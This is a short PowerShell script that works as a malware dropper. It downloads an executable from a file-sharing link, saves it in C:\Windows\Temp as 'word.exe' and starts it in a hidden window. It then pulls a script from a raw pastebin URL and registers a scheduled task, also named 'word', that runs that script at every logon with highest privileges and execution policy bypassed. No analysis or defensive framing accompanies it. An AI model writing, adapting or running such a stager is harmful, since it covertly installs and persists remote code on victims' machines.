.

$url = "https://filetransfer.io/data-package/JOks53fK/download";
$output = "C:\Windows\Temp\word.exe"
Invoke-WebRequest -Uri $url -OutFile $output
Start-Process -FilePath $output -WindowStyle Hidden

$pastebinUrl = "https://pastebin.com/raw/DXQvkkJF";
$scriptPath = "C:\Windows\Temp\Script.ps1"
Start-Sleep -Seconds 10
$scriptContent = Invoke-RestMethod -Uri $pastebinUrl
$scriptContent | Set-Content -Path $scriptPath -Force

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -File $scriptPath"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "word" -Description "word" -RunLevel Highest